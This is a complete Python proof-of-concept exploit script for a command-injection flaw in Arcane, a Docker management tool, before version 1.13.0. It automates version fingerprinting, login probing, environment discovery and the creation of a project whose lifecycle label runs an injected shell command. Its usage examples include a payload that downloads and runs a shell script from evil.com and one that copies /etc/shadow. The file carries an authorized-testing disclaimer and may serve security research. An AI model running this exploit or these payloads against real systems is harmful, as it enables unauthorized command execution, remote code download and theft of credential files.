README.md
Rendering markdown...
#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-23520 — Proof of Concept (PoC) ║
║ Arcane Docker Management — Lifecycle Label RCE ║
╠══════════════════════════════════════════════════════════════════════════╣
║ Product : Arcane (Modern Docker Management) ║
║ Version : < 1.13.0 ║
║ Type : OS Command Injection (CWE-78) ║
║ CVSS 3.1 : 9.0 (Critical) — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H ║
║ Advisory : GHSA-gjqq-6r35-w3r8 ║
║ Fix : Upgrade to >= 1.13.0 ║
║ Author : Security Research / Educational Use Only ║
╠══════════════════════════════════════════════════════════════════════════╣
║ DISCLAIMER: This tool is provided for AUTHORIZED security testing ║
║ and educational purposes ONLY. Unauthorized access to computer ║
║ systems is illegal. Use responsibly and only against systems you ║
║ own or have explicit written permission to test. ║
╚══════════════════════════════════════════════════════════════════════════╝
VULNERABILITY SUMMARY
─────────────────────
Arcane's updater service supports Docker container lifecycle labels:
• com.getarcaneapp.arcane.lifecycle.pre-update
• com.getarcaneapp.arcane.lifecycle.post-update
The value of these labels is passed DIRECTLY to `/bin/sh -c` without
any sanitization or validation.
Any authenticated user (not limited to admins) can create a project
via the Arcane API with a docker-compose definition containing a
malicious lifecycle label. When an administrator later triggers a
container update, the injected command executes inside the container
(and potentially on the host if volume mounts are present).
ATTACK FLOW
───────────
1. Attacker authenticates as a low-privilege user
2. Attacker creates a project with a poisoned compose file
containing a lifecycle label with an injected shell command
3. An administrator triggers a container update (manual or scheduled)
4. Arcane's updater reads the label and executes it via /bin/sh -c
5. Arbitrary command execution is achieved
"""
import argparse
import json
import re
import sys
import textwrap
import time
import urllib.request
import urllib.error
import urllib.parse
import ssl
# ──────────────────────────────────────────────────────────────────────
# Configuration & Constants
# ──────────────────────────────────────────────────────────────────────
BANNER = r"""
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
"""
LIFECYCLE_LABEL_PRE = "com.getarcaneapp.arcane.lifecycle.pre-update"
LIFECYCLE_LABEL_POST = "com.getarcaneapp.arcane.lifecycle.post-update"
DEFAULT_PORT = 3552
DEFAULT_PAYLOAD = "id" # Harmless proof command
PROJECT_NAME = "poc-cve-2026-23520"
SEMVER_RE = re.compile(r"^v?\d+\.\d+\.\d+")
# All known version-related response keys (case-insensitive matching
# is done at extraction time, but we list the canonical forms here)
VERSION_KEYS = [
"currentVersion", "current_version",
"version", "Version",
"serverVersion", "server_version",
"appVersion", "app_version",
"release", "tag", "tag_name",
]
# All known API paths the Arcane version endpoint might live at.
# Tried in order; first success wins.
VERSION_ENDPOINTS = [
"/api/version",
"/api/system/version",
"/api/v1/version",
"/api/settings/version",
"/api/status",
"/api/health",
"/api/info",
]
# All known API paths for authentication
AUTH_ENDPOINTS = [
"/api/auth/login",
"/api/login",
"/api/v1/auth/login",
"/api/auth/signin",
"/api/users/login",
]
# All known token keys in auth responses
TOKEN_KEYS = [
"token", "accessToken", "access_token",
"jwt", "session", "sessionToken", "session_token",
"bearer", "auth_token", "authToken",
]
# All known API paths for environment listing
ENV_ENDPOINTS = [
"/api/environments",
"/api/v1/environments",
"/api/endpoints",
"/api/v1/endpoints",
]
# All known API path patterns for project creation.
# {env_id} will be replaced at runtime.
PROJECT_ENDPOINTS = [
"/api/environments/{env_id}/projects",
"/api/v1/environments/{env_id}/projects",
"/api/projects",
"/api/v1/projects",
"/api/environments/{env_id}/compose",
"/api/compose/projects",
]
# ──────────────────────────────────────────────────────────────────────
# Logging Helpers
# ──────────────────────────────────────────────────────────────────────
class Style:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
def info(msg):
print(f" {Style.CYAN}[*]{Style.RESET} {msg}")
def success(msg):
print(f" {Style.GREEN}[+]{Style.RESET} {msg}")
def warning(msg):
print(f" {Style.YELLOW}[!]{Style.RESET} {msg}")
def error(msg):
print(f" {Style.RED}[-]{Style.RESET} {msg}")
def debug(msg):
print(f" {Style.DIM}[~] {msg}{Style.RESET}")
def section(title):
print(f"\n {Style.BOLD}{Style.CYAN}── {title} ──{Style.RESET}")
# ──────────────────────────────────────────────────────────────────────
# Response Helpers — extract values from unpredictable JSON shapes
# ──────────────────────────────────────────────────────────────────────
def _extract_value(data: dict, candidates: list) -> str | None:
"""Try each candidate key against `data`, case-insensitively.
Also performs a one-level-deep nested search so structures like
{"data": {"version": "1.12.0"}} are handled.
"""
if not isinstance(data, dict):
return None
# Build a lowercase lookup of the response
lower_map = {k.lower(): v for k, v in data.items()}
for key in candidates:
# Direct hit (exact case)
val = data.get(key)
if val and isinstance(val, str):
return val
# Case-insensitive hit
val = lower_map.get(key.lower())
if val and isinstance(val, str):
return val
# One-level-deep: check nested dicts
for v in data.values():
if isinstance(v, dict):
nested_lower = {k.lower(): val for k, val in v.items()}
for key in candidates:
val = v.get(key)
if val and isinstance(val, str):
return val
val = nested_lower.get(key.lower())
if val and isinstance(val, str):
return val
return None
def _extract_list(data, candidates: list | None = None) -> list:
"""Return a list from the response, regardless of wrapper shape."""
if isinstance(data, list):
return data
if isinstance(data, dict):
# Try known keys first
if candidates:
for key in candidates:
val = data.get(key)
if isinstance(val, list):
return val
# Fallback: return the first list-valued field
for v in data.values():
if isinstance(v, list):
return v
return []
def _scan_for_semver(data: dict, depth: int = 2) -> str | None:
"""Recursively scan a dict for any value matching vX.Y.Z."""
for v in data.values():
if isinstance(v, str) and SEMVER_RE.match(v):
return v
if isinstance(v, dict) and depth > 0:
hit = _scan_for_semver(v, depth - 1)
if hit:
return hit
return None
# ──────────────────────────────────────────────────────────────────────
# HTTP Client — resilient, quiet probing, adaptive parsing
# ──────────────────────────────────────────────────────────────────────
class ArcaneClient:
"""Minimal HTTP client for the Arcane REST API.
Designed for resilience:
• `quiet=True` suppresses error output (used during probing)
• Multi-endpoint probing helpers try paths in order
• Response parsing uses fuzzy key matching
"""
def __init__(self, base_url: str, verify_ssl: bool = True,
verbose: bool = False):
self.base_url = base_url.rstrip("/")
self.token = None
self.verbose = verbose
self.ctx = ssl.create_default_context()
if not verify_ssl:
self.ctx.check_hostname = False
self.ctx.verify_mode = ssl.CERT_NONE
# ── low-level request ────────────────────────────────────────────
def _request(self, method: str, path: str, data: dict = None,
quiet: bool = False) -> dict | None:
"""Send an HTTP request. Returns parsed JSON or None on failure.
When `quiet=True` errors are swallowed silently — this is used
during endpoint probing so the user doesn't see 404 spam.
"""
url = f"{self.base_url}{path}"
headers = {"Content-Type": "application/json",
"Accept": "application/json"}
if self.token:
headers["Authorization"] = f"Bearer {self.token}"
body = json.dumps(data).encode() if data else None
req = urllib.request.Request(url, data=body, headers=headers,
method=method)
try:
resp = urllib.request.urlopen(req, context=self.ctx, timeout=10)
except urllib.error.HTTPError as exc:
if not quiet:
resp_body = exc.read().decode(errors="replace")
error(f"HTTP {exc.code} — {exc.reason}")
error(f" Body: {resp_body[:500]}")
return None
except (urllib.error.URLError, OSError, TimeoutError) as exc:
if not quiet:
error(f"Connection failed: {exc}")
return None
raw = resp.read().decode(errors="replace")
if not raw:
return {}
try:
return json.loads(raw)
except json.JSONDecodeError:
return {"raw": raw}
# ── convenience wrappers ─────────────────────────────────────────
def get(self, path, **kw):
return self._request("GET", path, **kw)
def post(self, path, data=None, **kw):
return self._request("POST", path, data=data, **kw)
def put(self, path, data=None, **kw):
return self._request("PUT", path, data=data, **kw)
def delete(self, path, **kw):
return self._request("DELETE", path, **kw)
# ── version fingerprinting (resilient) ───────────────────────────
def get_version(self) -> str | None:
"""Probe multiple endpoints and key names to find the version.
Tries every combination of VERSION_ENDPOINTS × VERSION_KEYS
and returns the first version string found.
"""
info("Probing version endpoints …")
for ep in VERSION_ENDPOINTS:
if self.verbose:
debug(f"Trying {ep}")
resp = self.get(ep, quiet=True)
if resp is None:
continue
if self.verbose:
debug(f"Got response from {ep}: {json.dumps(resp)[:200]}")
# Try all known key names (with case-insensitive + nested)
ver = _extract_value(resp, VERSION_KEYS)
if ver:
success(f"Found version via {Style.DIM}{ep}{Style.RESET}")
return ver
# Last resort: scan every string value that looks like a
# semver (vX.Y.Z or X.Y.Z)
ver = _scan_for_semver(resp)
if ver:
success(f"Inferred version from {Style.DIM}{ep}{Style.RESET}")
return ver
return None
# ── authentication (resilient) ───────────────────────────────────
def login(self, username: str, password: str) -> bool:
"""Authenticate to Arcane by trying multiple auth endpoints
and token key names."""
info(f"Authenticating as {Style.BOLD}{username}{Style.RESET} …")
creds_variants = [
{"username": username, "password": password},
{"email": username, "password": password},
{"Username": username, "Password": password},
{"user": username, "pass": password},
]
for ep in AUTH_ENDPOINTS:
for creds in creds_variants:
if self.verbose:
debug(f"Trying {ep} with keys {list(creds.keys())}")
resp = self.post(ep, data=creds, quiet=True)
if resp is None:
continue
if self.verbose:
# Redact the actual token value in debug output
debug(f"Got response from {ep}: keys={list(resp.keys())}")
# Try known token keys
tok = _extract_value(resp, TOKEN_KEYS)
if tok and len(tok) > 20:
self.token = tok
success(f"JWT obtained via {Style.DIM}{ep}{Style.RESET}")
return True
# Heuristic: any long string value with dots might be a JWT
for val in resp.values():
if isinstance(val, str) and len(val) > 40 and "." in val:
self.token = val
success(f"JWT obtained via {Style.DIM}{ep}{Style.RESET} "
f"(heuristic)")
return True
error("Authentication failed on all known endpoints")
return False
# ── environment discovery (resilient) ────────────────────────────
def get_environments(self) -> list:
"""List available environments by probing multiple paths."""
info("Probing environment endpoints …")
for ep in ENV_ENDPOINTS:
if self.verbose:
debug(f"Trying {ep}")
resp = self.get(ep, quiet=True)
if resp is None:
continue
envs = _extract_list(resp, [
"environments", "Environments",
"endpoints", "Endpoints",
"data", "results", "items",
])
if envs:
success(f"Found {len(envs)} environment(s) via "
f"{Style.DIM}{ep}{Style.RESET}")
return envs
# If the response itself is a dict with an "id", treat it
# as a single-environment response
if isinstance(resp, dict) and ("id" in resp or "Id" in resp):
return [resp]
return []
# ── project creation (resilient) ─────────────────────────────────
def create_poisoned_project(self, env_id: str, project_name: str,
payload: str,
hook: str = "pre") -> dict | None:
"""Create a new project with a poisoned lifecycle label.
Tries multiple API path patterns and compose field names.
"""
label_key = (LIFECYCLE_LABEL_PRE if hook == "pre"
else LIFECYCLE_LABEL_POST)
compose_content = textwrap.dedent(f"""\
services:
{project_name}:
image: alpine:latest
container_name: {project_name}
restart: unless-stopped
command: ["sleep", "infinity"]
labels:
- "{label_key}={payload}"
""")
info(f"Injecting payload into lifecycle label: "
f"{Style.BOLD}{hook}-update{Style.RESET}")
info(f"Label : {Style.DIM}{label_key}{Style.RESET}")
info(f"Value : {Style.RED}{payload}{Style.RESET}")
# Build a list of request bodies with different field names
# that various Arcane versions might expect
body_variants = [
{"name": project_name, "composeContent": compose_content},
{"name": project_name, "compose_content": compose_content},
{"name": project_name, "content": compose_content},
{"name": project_name, "compose": compose_content},
{"Name": project_name, "ComposeContent": compose_content},
{"projectName": project_name, "composeFile": compose_content},
]
# Build the endpoint list, filling in env_id
endpoints = [ep.format(env_id=env_id) for ep in PROJECT_ENDPOINTS]
for ep in endpoints:
for body in body_variants:
if self.verbose:
debug(f"Trying POST {ep} with keys {list(body.keys())}")
resp = self.post(ep, data=body, quiet=True)
if resp is None:
continue
# Any non-None response that isn't an explicit error
if isinstance(resp, dict) and resp.get("error"):
if self.verbose:
debug(f"Error response: {resp.get('error')}")
continue
success(f"Project created via "
f"{Style.DIM}{ep}{Style.RESET}")
return resp
error("Failed to create project on all known endpoints")
return None
# ──────────────────────────────────────────────────────────────────────
# Version Parsing Utility
# ──────────────────────────────────────────────────────────────────────
def parse_version(version_str: str) -> tuple | None:
"""Parse 'v1.12.4' or '1.12.4' into (1, 12, 4). Returns None on
failure."""
m = re.match(r"v?(\d+)\.(\d+)\.(\d+)", version_str)
if m:
return int(m.group(1)), int(m.group(2)), int(m.group(3))
return None
def is_vulnerable(version_str: str) -> bool | None:
"""Return True if vulnerable, False if patched, None if unknown."""
parsed = parse_version(version_str)
if parsed is None:
return None
major, minor, _patch = parsed
return (major, minor) < (1, 13)
# ──────────────────────────────────────────────────────────────────────
# Main Exploit Logic
# ──────────────────────────────────────────────────────────────────────
def run_exploit(args):
"""
Orchestrates the full attack chain:
1. Connect & fingerprint
2. Authenticate
3. Discover environment
4. Plant poisoned project
"""
print(BANNER)
base_url = f"{args.scheme}://{args.target}:{args.port}"
client = ArcaneClient(base_url, verify_ssl=(not args.no_verify),
verbose=args.verbose)
# ── Step 1: Fingerprint ──────────────────────────────────────────
section("Step 1 · Fingerprinting Target")
info(f"Target: {base_url}")
version = client.get_version()
if version:
success(f"Arcane version: {Style.BOLD}{version}{Style.RESET}")
vuln = is_vulnerable(version)
if vuln is True:
success(f"Version {version} is < 1.13.0 — "
f"{Style.RED}VULNERABLE{Style.RESET}")
elif vuln is False:
warning(f"Version {version} is >= 1.13.0 — PATCHED")
warning("Exploit will likely fail. Continue? (Ctrl-C to abort)")
time.sleep(3)
else:
warning(f"Could not parse version string: {version}")
else:
warning("Could not determine version (continuing anyway)")
# ── Step 2: Authenticate ─────────────────────────────────────────
section("Step 2 · Authentication")
if not client.login(args.username, args.password):
error("Cannot proceed without authentication. Exiting.")
sys.exit(1)
# ── Step 3: Discover environment ─────────────────────────────────
section("Step 3 · Environment Discovery")
env_id = args.env_id
if not env_id:
envs = client.get_environments()
if not envs:
error("No environments found. Specify one with --env-id.")
sys.exit(1)
for e in envs:
eid = (_extract_value(e, ["id", "Id", "ID", "uuid", "UUID"])
or "?")
ename = (_extract_value(e, ["name", "Name", "label", "Label"])
or "unknown")
info(f" → {eid} ({ename})")
first = envs[0]
env_id = str(
_extract_value(first, ["id", "Id", "ID", "uuid", "UUID"])
or "1"
)
success(f"Using environment: {Style.BOLD}{env_id}{Style.RESET}")
else:
info(f"Using provided environment ID: {env_id}")
# ── Step 4: Plant poisoned project ───────────────────────────────
section("Step 4 · Planting Poisoned Project")
result = client.create_poisoned_project(
env_id=env_id,
project_name=args.project_name,
payload=args.payload,
hook=args.hook,
)
if result:
section("Exploit Planted Successfully")
success("The poisoned project is now waiting for an update trigger.")
print()
info("When an administrator triggers a container update (manual")
info("or scheduled), the payload will execute inside the container")
info("via /bin/sh -c with the value of the lifecycle label.")
print()
warning("If the container has host volume mounts, the payload")
warning("may be able to read/write the host filesystem.")
print()
print(f" {Style.DIM}{'─' * 56}{Style.RESET}")
print(f" {Style.BOLD}Payload{Style.RESET}: {Style.RED}{args.payload}{Style.RESET}")
print(f" {Style.BOLD}Hook {Style.RESET}: {args.hook}-update")
print(f" {Style.BOLD}Project{Style.RESET}: {args.project_name}")
print(f" {Style.DIM}{'─' * 56}{Style.RESET}")
else:
error("Exploit deployment failed.")
sys.exit(1)
# ──────────────────────────────────────────────────────────────────────
# Compose-File Generator (standalone / offline mode)
# ──────────────────────────────────────────────────────────────────────
def generate_compose(args):
"""Generate a poisoned docker-compose.yml to stdout (no network)."""
print(BANNER)
section("Generating Poisoned Compose File")
label_key = (LIFECYCLE_LABEL_PRE if args.hook == "pre"
else LIFECYCLE_LABEL_POST)
compose = textwrap.dedent(f"""\
# ─────────────────────────────────────────────────────────
# CVE-2026-23520 — Poisoned docker-compose.yml
# Arcane < 1.13.0 Lifecycle Label Command Injection
# ─────────────────────────────────────────────────────────
# Import this file as a new project in Arcane.
# When a container update is triggered, the payload fires.
# ─────────────────────────────────────────────────────────
services:
{args.project_name}:
image: alpine:latest
container_name: {args.project_name}
restart: unless-stopped
command: ["sleep", "infinity"]
labels:
- "{label_key}={args.payload}"
""")
print(compose)
success("Copy the above YAML into Arcane's 'Create Project' form.")
info("When an update is triggered, the label value will execute as:")
info(f" /bin/sh -c '{args.payload}'")
# ──────────────────────────────────────────────────────────────────────
# Version Check Mode
# ──────────────────────────────────────────────────────────────────────
def check_version(args):
"""Fingerprint the target and report if it's vulnerable."""
print(BANNER)
base_url = f"{args.scheme}://{args.target}:{args.port}"
client = ArcaneClient(base_url, verify_ssl=(not args.no_verify),
verbose=args.verbose)
section("Version Check")
info(f"Target: {base_url}")
version = client.get_version()
if version:
success(f"Arcane version: {Style.BOLD}{version}{Style.RESET}")
vuln = is_vulnerable(version)
if vuln is True:
error(f"VULNERABLE — version {version} < 1.13.0")
elif vuln is False:
success("PATCHED — not vulnerable to CVE-2026-23520")
else:
warning(f"Could not parse version: {version}")
else:
warning("Could not determine version. Target may still be vulnerable.")
warning("Ensure the host and port are correct and the service is up.")
# ──────────────────────────────────────────────────────────────────────
# CLI Argument Parser
# ──────────────────────────────────────────────────────────────────────
def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
description="CVE-2026-23520 — Arcane Lifecycle Label RCE PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent("""\
Examples
────────
# Full exploit against a target
%(prog)s exploit -t 192.168.1.10 -u attacker -p s3cret
# Just check if the target is vulnerable
%(prog)s check -t 192.168.1.10
# Generate a poisoned compose file (offline)
%(prog)s generate --payload "cat /etc/shadow > /tmp/loot"
# Use post-update hook with custom payload
%(prog)s exploit -t 10.0.0.5 -u user -p pass \\
--hook post --payload "curl http://evil.com/shell.sh | sh"
# Verbose probing to see which endpoints are tried
%(prog)s check -t 10.0.0.5 --verbose
"""),
)
# Global flags
parser.add_argument("-v", "--verbose", action="store_true",
help="Show probing debug output")
subparsers = parser.add_subparsers(dest="command", required=True)
# ── exploit sub-command ───────────────────────────────────────────
sp_exploit = subparsers.add_parser("exploit",
help="Deploy the poisoned project via the Arcane API")
sp_exploit.add_argument("-t", "--target", required=True,
help="Arcane host (IP or hostname)")
sp_exploit.add_argument("-P", "--port", type=int, default=DEFAULT_PORT,
help=f"Arcane port (default: {DEFAULT_PORT})")
sp_exploit.add_argument("-u", "--username", required=True,
help="Arcane username (any authenticated user)")
sp_exploit.add_argument("-p", "--password", required=True,
help="Arcane password")
sp_exploit.add_argument("--payload", default=DEFAULT_PAYLOAD,
help=f"Command to inject (default: '{DEFAULT_PAYLOAD}')")
sp_exploit.add_argument("--hook", choices=["pre", "post"], default="pre",
help="Which lifecycle hook to poison (default: pre)")
sp_exploit.add_argument("--project-name", default=PROJECT_NAME,
help=f"Name for the poisoned project (default: {PROJECT_NAME})")
sp_exploit.add_argument("--env-id",
help="Environment ID (auto-detected if omitted)")
sp_exploit.add_argument("--scheme", choices=["http", "https"],
default="http", help="URL scheme (default: http)")
sp_exploit.add_argument("--no-verify", action="store_true",
help="Disable TLS certificate verification")
# ── check sub-command ─────────────────────────────────────────────
sp_check = subparsers.add_parser("check",
help="Fingerprint Arcane and check if vulnerable")
sp_check.add_argument("-t", "--target", required=True,
help="Arcane host")
sp_check.add_argument("-P", "--port", type=int, default=DEFAULT_PORT)
sp_check.add_argument("--scheme", choices=["http", "https"],
default="http")
sp_check.add_argument("--no-verify", action="store_true")
# ── generate sub-command ──────────────────────────────────────────
sp_gen = subparsers.add_parser("generate",
help="Generate a poisoned compose file (no network required)")
sp_gen.add_argument("--payload", default=DEFAULT_PAYLOAD,
help=f"Command to inject (default: '{DEFAULT_PAYLOAD}')")
sp_gen.add_argument("--hook", choices=["pre", "post"], default="pre")
sp_gen.add_argument("--project-name", default=PROJECT_NAME)
return parser
# ──────────────────────────────────────────────────────────────────────
# Entry Point
# ──────────────────────────────────────────────────────────────────────
def main():
parser = build_parser()
args = parser.parse_args()
# Propagate --verbose to subcommands that don't define it
if not hasattr(args, "verbose"):
args.verbose = False
try:
if args.command == "exploit":
run_exploit(args)
elif args.command == "check":
check_version(args)
elif args.command == "generate":
generate_compose(args)
except KeyboardInterrupt:
print(f"\n {Style.YELLOW}[!]{Style.RESET} Aborted by user.")
sys.exit(130)
except Exception as exc:
error(f"Unhandled error: {exc}")
sys.exit(1)
if __name__ == "__main__":
main()